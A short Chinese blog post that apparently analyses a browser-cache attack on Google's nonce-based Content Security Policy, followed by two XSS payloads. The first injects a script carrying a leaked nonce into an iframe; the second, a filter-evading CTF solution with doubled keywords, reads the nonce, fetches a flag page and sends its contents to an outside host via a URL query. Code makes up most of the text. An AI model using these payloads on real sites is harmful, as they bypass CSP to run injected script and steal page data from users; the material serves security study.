最近看了去年google团队写的文章CSP Is Dead, Long Live CSP!,对csp有了新的认识,在文章中,google团队提出了nonce-{random}的csp实现方式,而事实上,在去年的圣诞节,Sebastian 演示了这种csp实现方式的攻击方式,也就是利用浏览器缓存来攻击,事实上,我很早就看到了这篇文章,但是当时并没有看懂,惭愧了,现在来详细分析下。
functionattack(nonce){ var iframe = document.createElement("iframe"); var url = "http://127.0.0.1/ctest/csp/test.php#" var payload = "<script nonce='" + nonce + "'>alert(document.domain)</scr" + "ipt>" var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>" iframe.src = url + payload + validationPayload; document.body.appendChild(iframe); }
<iframe src="/adminshigesha233e3333#a"></iframe> <scrscriptipt> window.oonnload=setTimeout(functioonn(){ var f=document.getElementsByTagName("iframe")[0]; var n=f.coonntentWindow.document.getElementsByTagName("scrscriptipt")[0]. getAttribute("noonnce"); coonnsole.log(n); var f2=document.createElement("iframe"); var u="/adminshigesha233e3333#"; var p="<scr"+"ipt noonnce='"+n+"' src='../static/js/jquery.min.js'></scr"+"ipt><scri"+"pt noonnce='"+n+"'>$.get('/adminshigesha233e3333/flag.php',functioonn(da ta){top.locatioonn.href='//x.x.x.x/?c='+escape(data)});</scr"+"ipt>"; f2.src=u+p; document.body.appendChild(f2); },1000); </scrscriptipt>